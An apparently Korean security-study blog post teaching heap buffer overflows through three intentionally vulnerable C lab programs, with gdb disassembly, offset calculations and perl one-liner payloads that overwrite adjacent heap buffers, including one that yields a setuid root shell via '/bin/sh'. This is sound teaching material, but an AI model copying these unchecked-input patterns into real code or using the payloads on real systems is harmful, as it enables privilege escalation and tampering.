Hacking/System Hacking

Heap Buffer Overflow(BOF)

나노콛 2019. 9. 27. 00:51

Heap 이란?

동적 메모리 할당 (malloc 영역)
데이터 사이즈 알 수 없을 때 사용
Heap 영역은 실행시 할당 (stack 영역은 컴파일시 할당)
프로그래머에 의해 해지됨(free)
Heap 영역은 낮은 주소에서 높은 주소로 자람 (stack은 반대)

Heap buffer overflow
- stack과 같이 인접한 변수를 덮어쓸 수 있음
- stack과 다른 구조, 직접적으로 RET 변조는 불가능
- stack overflow에 비해 취약점 발견 저조(정적 분석 / 인접 변수가 어떠한 역할인지 분석이 어려움)
- UNLINK 취약점은 2004년에 패치


Heap overflow
손상받는 데이터는 인접 변수, 함수 포인터(거의 볼 수 없다)

1. heap1.c  **dumpcode.h 파일 소스는 가장 하단에 있습니다.

#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>
#include<string.h>
#include"dumpcode.h"
int main()
{
        char *a = (char *)malloc(100);
        char *b = (char *)malloc(100);
        printf("|HEAP BUFFER OVERFLOW TEST_1|\n");
        printf("\nINPUT: ");

        scanf("%s", a);
        printf("\n|RESULT|\n");
        dumpcode(a,100);
        dumpcode(b,100);
        if(!strcmp(b,"hacker"))
        {
                printf("\nSUCCESS!\n");
        }
        else
        {
                printf("\nFAIL!\n");
        }

        free(a);
        free(b);

        return 0;
}

a, b에는 동적할당 즉 heap에 메모리를 할당하고 있다.

이 문제의 해결 방법은
b에 hacker의 값이 들어가게 되면 strcmp로 비교를 해서 같으면 반환이 0이 나오지만 앞에 !(not)가 있으므로 1이 되어 참이 된다.

결론은 b에 hacker의 값이 들어가게 하면 되는데
b에는 입력을 받지 않는다.

scanf로 a에 입력을 받는데 a의 값을 a의 공간만큼 채운 후 그 이후의 값을 넣어 b에 값이 들어가게 하면 된다.

먼저 gdb로 공간을 확인할 필요가 있다.

malloc 2개가 보인다.
malloc 의 반환값은 eax에 저장되고 그 eax를 ebp-4와 ebp-8에 저장하고 있다.
main+48까지 진행한 후에 들어가 있는 값을 확인해보자

ebp-8에서 ebp-4의 값을 빼면 ebp-4의 크기가 확인이 가능하다.
68이 나오므로 10진수로 변경하면 104의 값이 나온다
아무 문자를 104번 채우고 이후에 hacker의 문자를 넣게 되면 a를 벗어나 인접한 b 영역을 침범하게 된다.

(perl -e 'print "A"x104,"hacker";cat') ./heap1

 

perl 스크립트를 이용해 반복되는 문자를 실행 후 넣어 줄 수 있다.
(실행 후 input에 입력하는 형태기 때문) 물론 실행해서 input 입력에다가 직 접 써도 된다.


2. heap2.c

#include<stdio.h>
#include<malloc.h>
#include<string.h>
#include"dumpcode.h"
int main(int argc, char* argv[])
{

        char* val1 = (char*)malloc(40);
        char* val2 = (char*)malloc(40);

        strcpy(val1,argv[1]);
        printf("|HEAP BUFFER OVERFLOW TEST_2|\n");
        printf("%s\n",argv[1]);
       dumpcode(val1,40);
       dumpcode(val2,40);
        if(!strcmp(val2,"/bin/sh"))
        {
                setuid(0);
                system(val2);
        }
        else
        {
                printf("FAIL!\n");
        }

        return 0;
}

heap에 val1과 val2가 할당되어 있다.

실행시 입력하는 문자열을 val1에 복사한다.

하지만 val2에 /bin/sh의 값이 있어야 한다.
val1에만 입력이 가능하다.

gdb

malloc 명령어가 끝나는 곳에 break 걸고
ebp-4 ebp-8의 값을 확인한다.

ebp-8에서 ebp-4를 뺀다
10진수로 48이 나온다

그리고 위의 소스 코드를 보지 않았더라도

여기서 strcmp의 인자로 들어가는 push 2개들 확인해주면 어떤 값이 들어가야 하는지 확인이 가능하다.
ebp-8은 val2이다
그러면 0x8048883 이 어떤 값을 가지고 있는지 확인하면 된다.

/bin/sh의 값이 val2에 있으면 된다는 뜻이다.

./heap2 `perl -e 'print "A"x48,"/bin/sh";'`

 


3. heap3.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
        int balance=1000;
        int hackmoney=0;
        int choice=0;
        char *taccount, *memo;
        int *transmoney;

        taccount = (char*)malloc(20);
        memo = (char*)malloc(20);
        transmoney = (int*)malloc(sizeof(int));
        memset(transmoney,0,sizeof(int));

        while(1){
        system("clear");
        choice=0;
        if(balance<0)
                balance=0;
        printf("\t+======================================+\n");
        printf("\t|   hacker 계좌이체 테스트 모듈 v0.1a   |\n");
        printf("\t+======================================+\n");
        printf("\t  계좌잔액:\n");
        printf("\t  153-223456-1125 : %d (당신의 계좌)\n", balance);
        printf("\t  091-071530-1928 : %d (대상 계좌)\n", hackmoney);
        printf("\t+======================================+\n");
        printf("\t   메뉴\n");
        printf("\t 1. 계좌이체\n");
        printf("\t Other. Exit\n");
        printf("\t+======================================+\n");

        if(hackmoney>=1000000){
                printf("\t 공격성공!!!\n");
                break;
        }

        printf("\t 선택 : ");
        scanf("%d", &choice);

        if(choice==1){
                printf("\n\t 대상 계좌 : ");
                scanf("%s", taccount);

                printf("\t 금액 : ");
                scanf("%d", transmoney);

                if(*transmoney>balance){
                        printf("\t 잔액이 부족합니다!\n");
                        sleep(2);
                        continue;
                }
                if(*transmoney<0){
                        printf("\t 잘못된 금액입니다!\n");
                        sleep(2);
                        continue;
                }

                printf("\t 메모 : ");
                scanf("%s", memo);

                printf("\t 대상 계좌:%s 금액:%d 메모:%s\n", taccount,*transmoney,memo);
                if(*transmoney>1000000){
                        printf("\t 이체 한도 : 1,000,000!\n");
                        sleep(5);
                        continue;
                }

                balance-=*transmoney;
                hackmoney+=*transmoney;
                sleep(2);
        }
        else
                break;
        }
        free(taccount);
        free(memo);
        free(transmoney);
}

위의 소스에서
if(hackmoney>=1000000){ 
                printf("\t 공격 성공!!!\n"); 
                break; 
        }
hackmoney의 값으로 1000000 이상의 값이 들어가야 합니다.
그것이 가능한 이유는 아래처럼
transmoney 값을 hackmoney에 전달하고 있습니다.
hackmoney+=*transmoney;

하지만
if(*transmoney>1000000){ 
                        printf("\t 이체 한도 : 1,000,000!\n"); 
                        sleep(5); 
                        continue; 
                }
이 코드가 있기 때문에
hackmoney의 값은 1000000 값이 들어가야 합니다.


gdb (봐야 할 부분만 잘라서 붙이겠습니다.)

/* malloc */
0x0804848a <main+42>:   call   0x8048340 <malloc>
0x0804848f <main+47>:   add    esp,0x10
0x08048492 <main+50>:   mov    DWORD PTR [ebp-16],eax
0x08048495 <main+53>:   sub    esp,0xc
0x08048498 <main+56>:   push   0x14
0x0804849a <main+58>:   call   0x8048340 <malloc>
0x0804849f <main+63>:   add    esp,0x10
0x080484a2 <main+66>:   mov    DWORD PTR [ebp-20],eax
0x080484a5 <main+69>:   sub    esp,0xc
0x080484a8 <main+72>:   push   0x4
0x080484aa <main+74>:   call   0x8048340 <malloc>
0x080484af <main+79>:   add    esp,0x10
0x080484b2 <main+82>:   mov    DWORD PTR [ebp-24],eax
0x080484b5 <main+85>:   sub    esp,0x4


/* print */

0x080485c2 <main+354>:  push   0x804895c  //선택
0x080485c7 <main+359>:  call   0x8048380 <printf>
0x080485cc <main+364>:  add    esp,0x10
0x080485cf <main+367>:  sub    esp,0x8
0x080485d2 <main+370>:  lea    eax,[ebp-12]
0x080485d5 <main+373>:  push   eax
0x080485d6 <main+374>:  push   0x8048966
0x080485db <main+379>:  call   0x8048350 <scanf>  /choice 

0x080485e0 <main+384>:  add    esp,0x10
0x080485e3 <main+387>:  cmp    DWORD PTR [ebp-12],0x1
0x080485e7 <main+391>:  jne    0x8048717 <main+695>
0x080485ed <main+397>:  sub    esp,0xc
0x080485f0 <main+400>:  push   0x8048969   //대상 계좌
0x080485f5 <main+405>:  call   0x8048380 <printf>
0x080485fa <main+410>:  add    esp,0x10

0x080485fd <main+413>:  sub    esp,0x8
0x08048600 <main+416>:  push   DWORD PTR [ebp-16]  //taccount
0x08048603 <main+419>:  push   0x8048979
0x08048608 <main+424>:  call   0x8048350 <scanf>
0x0804860d <main+429>:  add    esp,0x10

0x08048610 <main+432>:  sub    esp,0xc
0x08048613 <main+435>:  push   0x804897c  //금액
0x08048618 <main+440>:  call   0x8048380 <printf>
0x0804861d <main+445>:  add    esp,0x10
0x08048620 <main+448>:  sub    esp,0x8
0x08048623 <main+451>:  push   DWORD PTR [ebp-24]   //transmoney
0x08048626 <main+454>:  push   0x8048966
0x0804862b <main+459>:  call   0x8048350 <scanf>
0x08048630 <main+464>:  add    esp,0x10


0x0804868c <main+556>:  push   0x80489b2   //메모
0x08048691 <main+561>:  call   0x8048380 <printf>
0x08048696 <main+566>:  add    esp,0x10
0x08048699 <main+569>:  sub    esp,0x8
0x0804869c <main+572>:  push   DWORD PTR [ebp-20] //memo
0x0804869f <main+575>:  push   0x8048979
0x080486a4 <main+580>:  call   0x8048350 <scanf>  
0x080486a9 <main+585>:  add    esp,0x10

transmoney에 결국 1000000을 넣어야 하는데
transmoney의 공간은 ebp-24
memo 공간 ebp-20

memo가 더 먼저 있기 때문에 memo를 공략해서 transmoney에 돈을 넣어야 한다.

그전에 ebp-24에서 ebp-20의 값을 빼준다
10진수로 24가 나온다.

그리고 중요한 게 memo는 %s 즉 문자로 입력을 받고 있기 때문에
문자 형태로 입력해야 한다.

1000000이 16진수로 F4240 인데
거꾸로 넣어야 한다.
16진수 40의 문자는 @
16진수 42의 문자는 B
16진수 F(15)의 문자는  § (shiht-in) 입력하려면 ctrl + o


또 다른 방법은

(perl -e 'print "1\n","1\n","1\n","A"x24,"\x40\x42\x0f"; cat') ./heap3

 


이렇게 할 수도 있다.



 

/* dumpcode.h */


void printchar(unsigned char c)
{
        if(isprint(c))
                printf("%c",c);
        else
                printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
        int i;
        for(i=0;i<len;i++)
        {
                if(i%16==0)
                        printf("0x%08x  ",&buff[i]);
                printf("%02x ",buff[i]);


                if(i%16-7==0)
                      printf("- ");


                if(i%16-15==0)
                {
                        int j;
                        printf("  ");
                        for(j=i-15;j<=i;j++)
                                printchar(buff[j]);
                        printf("\n\r");
                }
        }
        if(i%16!=0)
        {
                int j;
                int spaces=(len-i+16-i%16)*3+2;
                for(j=0;j<spaces;j++)
                        printf(" ");
                for(j=i-i%16;j<len;j++)
                        printchar(buff[j]);
        }
        printf("\n\r");
}

 

728x90